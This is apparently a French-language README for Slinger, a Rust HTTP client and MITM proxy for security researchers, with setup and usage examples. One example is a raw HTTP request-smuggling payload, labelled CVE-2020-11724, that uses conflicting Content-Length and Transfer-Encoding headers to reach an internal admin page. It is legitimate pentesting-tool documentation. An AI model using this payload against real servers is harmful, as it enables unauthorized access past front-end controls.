
Un client HTTP spécifiquement développé pour les chercheurs en sécurité

Slinger est un espace de travail contenant :
La bibliothèque client HTTP de base pour Rust, conçue pour les hackers.
Un proxy Man-in-the-Middle (MITM) avec interception transparente du trafic HTTPS, similaire à Burp Suite.
Cet exemple active certaines fonctionnalités optionnelles, votre Cargo.toml pourrait donc ressembler à ceci :
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
Et ensuite le code :
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get").await?;
println!("{:?}", resp.text());
Ok(())
}
Ajoutez à votre Cargo.toml :
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }
Exemple de code :
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let config = MitmConfig::default();
let proxy = MitmProxy::new(config).await?;
// Add logging interceptor
let handler = proxy.interceptor_handler();
let mut h = handler.write().await;
h.add_request_interceptor(Arc::new(Interceptor::logging()));
drop(h);
proxy.start("127.0.0.1:8080").await?;
Ok(())
}
Consultez slinger-mitm/README.md pour plus de détails sur l'utilisation du proxy MITM.
Slinger prend en charge les fonctionnalités optionnelles suivantes :
tls - Fonctionnalité TLS de base (active les types et interfaces TLS sans backend spécifique)rustls - Prise en charge HTTPS via Rustls (nécessite tls, implémentation pure Rust)http2 - Prise en charge du protocole HTTP/2 (nécessite un backend TLS)cookie - Prise en charge de la gestion des cookiescharset - Prise en charge de l'encodage des caractèresserde - Prise en charge de la sérialisation/désérialisationgzip - Prise en charge de la compression Gzipschema - Prise en charge de JSON SchemaPour utiliser TLS, vous devez :
tlsrustls, OU fournir un connecteur TLS personnaliséExemples de combinaisons de fonctionnalités :
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }
Si vous souhaitez utiliser native-tls, OpenSSL ou d'autres bibliothèques TLS, vous pouvez implémenter un connecteur TLS personnalisé. Consultez native_tls_example.rs pour un exemple complet d'intégration de native-tls.
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::default().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
Pour plus d'exemples, veuillez vous référer à l'exemple
Les contributions sont ce qui rend la communauté open source un endroit si incroyable pour apprendre, inspirer et créer. Toute contribution que vous apportez est grandement appréciée.
Si vous avez une suggestion pour améliorer ce projet, veuillez forker le dépôt et créer une pull request. Vous pouvez également ouvrir simplement un ticket avec le tag « enhancement ». N'oubliez pas de mettre une étoile au projet ! Merci encore !
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Distribué sous la licence GPL-3.0-only. Voir LICENSE pour plus d'informations.
Votre nom - @Kali_Team - [email protected]
Lien du projet : https://github.com/emo-crab/slinger